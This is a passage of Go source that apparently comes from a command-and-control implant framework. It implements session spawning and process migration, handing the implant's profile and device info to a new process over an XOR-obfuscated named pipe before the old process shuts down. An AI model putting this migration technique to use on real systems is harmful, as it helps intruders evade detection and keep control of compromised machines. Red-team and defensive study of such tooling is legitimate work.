   941  // the associated JobID once Migration has completed successfully.
   942  //
   943  // The return values for this function are the new PID used and any errors that
   944  // may have occurred during Migration.
   945  func (s *Session) Migrate(wait bool, n string, job uint16, r runnable) (uint32, error) {
   946  	return s.MigrateProfile(wait, n, nil, job, 0, r)
   947  }
   948  
   949  // SpawnProfile will execute the provided runnable and will wait up to the
   950  // provided duration to transfer profile and Session information to the new runnable
   951  // using a Pipe connection with the name provided. Once complete, and additional
   952  // copy of this Session (with a different ID) will exist.
   953  //
   954  // This function uses the provided profile bytes unless the byte slice is empty,
   955  // then this will use the Profile that was used to create this Session. This
   956  // will fail if the Profile is not binary Marshalable.
   957  //
   958  // The return values for this function are the new PID used and any errors that
   959  // may have occurred during the Spawn.
   960  func (s *Session) SpawnProfile(n string, b []byte, t time.Duration, e runnable) (uint32, error) {
   961  	if !s.IsClient() {
   962  		return 0, xerr.Sub("must be a client session", 0x4E)
   963  	}
   964  	if s.isMoving() {
   965  		return 0, xerr.Sub("migration in progress", 0x4F)
   966  	}
   967  	if len(n) == 0 {
   968  		return 0, xerr.Sub("empty or invalid loader name", 0x43)
   969  	}
   970  	var err error
   971  	if len(b) == 0 {
   972  		// ^ Use our own Profile if one is not provided.
   973  		p, ok := s.p.(marshaler)
   974  		if !ok {
   975  			return 0, xerr.Sub("cannot marshal Profile", 0x50)
   976  		}
   977  		if b, err = p.MarshalBinary(); err != nil {
   978  			return 0, xerr.Wrap("cannot marshal Profile", err)
   979  		}
   980  	}
   981  	if t <= 0 {
   982  		t = spawnDefaultTime
   983  	}
   984  	if cout.Enabled {
   985  		s.log.Info("[%s/SpN] Starting Spawn process!", s.ID)
   986  	}
   987  	if err = e.Start(); err != nil {
   988  		return 0, err
   989  	}
   990  	p := e.Pid()
   991  	if cout.Enabled {
   992  		s.log.Debug(`[%s/SpN] Started PID %d, waiting %s for pipe "%s"..`, s.ID, p, t, n)
   993  	}
   994  	c := spinTimeout(s.ctx, pipe.Format(n+"."+util.Uitoa16(uint64(p))), t)
   995  	if c == nil {
   996  		return 0, ErrNoConn
   997  	}
   998  	if e.Release(); cout.Enabled {
   999  		s.log.Debug(`[%s/SpN] Received connection to "%s"!`, s.ID, c.RemoteAddr().String())
  1000  	}
  1001  	var (
  1002  		g = crypto.XOR(n)
  1003  		w = data.NewWriter(crypto.NewXORWriter(g, c))
  1004  		r = data.NewReader(crypto.NewXORReader(g, c))
  1005  	)
  1006  	if err = w.WriteUint16(0); err != nil {
  1007  		c.Close()
  1008  		return 0, err
  1009  	}
  1010  	if err = w.WriteBytes(b); err != nil {
  1011  		c.Close()
  1012  		return 0, err
  1013  	}
  1014  	if err = s.writeDeviceInfo(infoSync, w); err != nil {
  1015  		c.Close()
  1016  		return 0, err
  1017  	}
  1018  	var k uint16
  1019  	// Set a short arbitrary timeout as we only need to read the "OK" value.
  1020  	c.SetReadDeadline(time.Now().Add(time.Second * 2))
  1021  	if err = r.ReadUint16(&k); err != nil {
  1022  		c.Close()
  1023  		return 0, err
  1024  	}
  1025  	if c.Close(); k != 0x4F4B { // 0x4F4B == "OK"
  1026  		return 0, xerr.Sub("unexpected OK value", 0x45)
  1027  	}
  1028  	if cout.Enabled {
  1029  		s.log.Info("[%s/SpN] Received 'OK' from new process, Spawn complete!", s.ID)
  1030  	}
  1031  	return p, nil
  1032  }
  1033  
  1034  // MigrateProfile will execute the provided runnable and will wait up to the
  1035  // provided duration to transfer execution control to the new runnable using a
  1036  // Pipe connection with the name provided.
  1037  //
  1038  // This function uses the provided profile bytes unless the byte slice is empty,
  1039  // then this will use the Profile that was used to create this Session. This
  1040  // will fail if the Profile is not binary Marshalable.
  1041  //
  1042  // If 'wait' is true, this will wait for all events to complete before starting
  1043  // the Migration process.
  1044  //
  1045  // The provided JobID will be used to indicate to the server that the associated
  1046  // Migration Task was completed, as the new client will send a 'RvResult' with
  1047  // the associated JobID once Migration has completed successfully.
  1048  //
  1049  // The return values for this function are the new PID used and any errors that
  1050  // may have occurred during Migration.
  1051  func (s *Session) MigrateProfile(wait bool, n string, b []byte, job uint16, t time.Duration, e runnable) (uint32, error) {
  1052  	if !s.IsClient() {
  1053  		return 0, xerr.Sub("must be a client session", 0x4E)
  1054  	}
  1055  	if s.isMoving() {
  1056  		return 0, xerr.Sub("migration in progress", 0x4F)
  1057  	}
  1058  	if len(n) == 0 {
  1059  		return 0, xerr.Sub("empty or invalid pipe name", 0x43)
  1060  	}
  1061  	var err error
  1062  	if len(b) == 0 {
  1063  		// ^ Use our own Profile if one is not provided.
  1064  		p, ok := s.p.(marshaler)
  1065  		if !ok {
  1066  			return 0, xerr.Sub("cannot marshal Profile", 0x50)
  1067  		}
  1068  		if b, err = p.MarshalBinary(); err != nil {
  1069  			return 0, xerr.Wrap("cannot marshal Profile", err)
  1070  		}
  1071  	}
  1072  	if !s.checkProxyMarshal() {
  1073  		return 0, xerr.Sub("cannot marshal Proxy data", 0x51)
  1074  	}
  1075  	if cout.Enabled {
  1076  		s.log.Info("[%s/Mg8] Starting Migrate process!", s.ID)
  1077  	}
  1078  	s.lock.Lock()
  1079  	if s.state.Set(stateMoving); wait && s.m.count() > 0 {
  1080  		if cout.Enabled {
  1081  			s.log.Debug("[%s/Mg8] Waiting for all Jobs to complete..", s.ID)
  1082  		}
  1083  		for s.m.count() > 0 {
  1084  			if time.Sleep(time.Millisecond * 500); cout.Enabled {
  1085  				s.log.Trace("[%s/Mg8] Waiting for Jobs, left %d..", s.ID, s.m.count())
  1086  			}
  1087  		}
  1088  	}
  1089  	if t <= 0 {
  1090  		t = spawnDefaultTime
  1091  	}
  1092  	if err = e.Start(); err != nil {
  1093  		s.state.Unset(stateMoving)
  1094  		s.lock.Unlock()
  1095  		return 0, err
  1096  	}
  1097  	if cout.Enabled {
  1098  		s.log.Debug(`[%s/Mg8] Started PID %d, waiting %s for pipe "%s"..`, s.ID, e.Pid(), t, n)
  1099  	}
  1100  	c := spinTimeout(s.ctx, pipe.Format(n+"."+util.Uitoa16(uint64(e.Pid()))), t)
  1101  	if c == nil {
  1102  		s.state.Unset(stateMoving)
  1103  		s.lock.Unlock()
  1104  		return 0, ErrNoConn
  1105  	}
  1106  	if cout.Enabled {
  1107  		s.log.Debug(`[%s/Mg8] Received connection from "%s"!`, s.ID, c.RemoteAddr().String())
  1108  	}
  1109  	var (
  1110  		g = crypto.XOR(n)
  1111  		w = data.NewWriter(crypto.NewXORWriter(g, c))
  1112  		r = data.NewReader(crypto.NewXORReader(g, c))
  1113  	)
  1114  	if err = w.WriteUint16(job); err != nil {
  1115  		c.Close()
  1116  		s.state.Unset(stateMoving)
  1117  		s.lock.Unlock()
  1118  		return 0, err
  1119  	}
  1120  	if err = w.WriteBytes(b); err != nil {
  1121  		c.Close()
  1122  		s.state.Unset(stateMoving)
  1123  		s.lock.Unlock()
  1124  		return 0, err
  1125  	}
  1126  	if err = s.writeDeviceInfo(infoMigrate, w); err != nil {
  1127  		c.Close()
  1128  		s.state.Unset(stateMoving)
  1129  		s.lock.Unlock()
  1130  		return 0, err
  1131  	}
  1132  	var k uint16
  1133  	// Set a short arbitrary timeout as we only need to read the "OK" value.
  1134  	c.SetReadDeadline(time.Now().Add(time.Second * 2))
  1135  	if err = r.ReadUint16(&k); err != nil {
  1136  		c.Close()
  1137  		s.state.Unset(stateMoving)
  1138  		s.lock.Unlock()
  1139  		return 0, err
  1140  	}
  1141  	if k != 0x4F4B { // 0x4F4B == "OK"
  1142  		c.Close()
  1143  		s.state.Unset(stateMoving)
  1144  		s.lock.Unlock()
  1145  		return 0, xerr.Sub("unexpected OK value", 0x45)
  1146  	}
  1147  	if s.state.Set(stateClosing); cout.Enabled {
  1148  		s.log.Debug("[%s/Mg8] Received 'OK' from host, proceeding with shutdown!", s.ID)
  1149  	}
  1150  	if s.lock.Unlock(); s.proxy != nil && s.proxy.IsActive() {
  1151  		_ = s.proxy.Close()
  1152  	}
  1153  	s.state.Set(stateClosing)
  1154  	for s.Wake(); ; {
  1155  		if time.Sleep(500 * time.Microsecond); s.state.Closed() {
  1156  			break
  1157  		}
  1158  	}
  1159  	if s.lock.Lock(); cout.Enabled {
  1160  		s.log.Debug("[%s/Mg8] Got lock, migrate completed!", s.ID)
  1161  	}
  1162  	w.WriteUint16(0x4F4B)
  1163  	c.Close()
  1164  	e.Release()
  1165  	close(s.ch)
  1166  	return e.Pid(), nil
  1167  }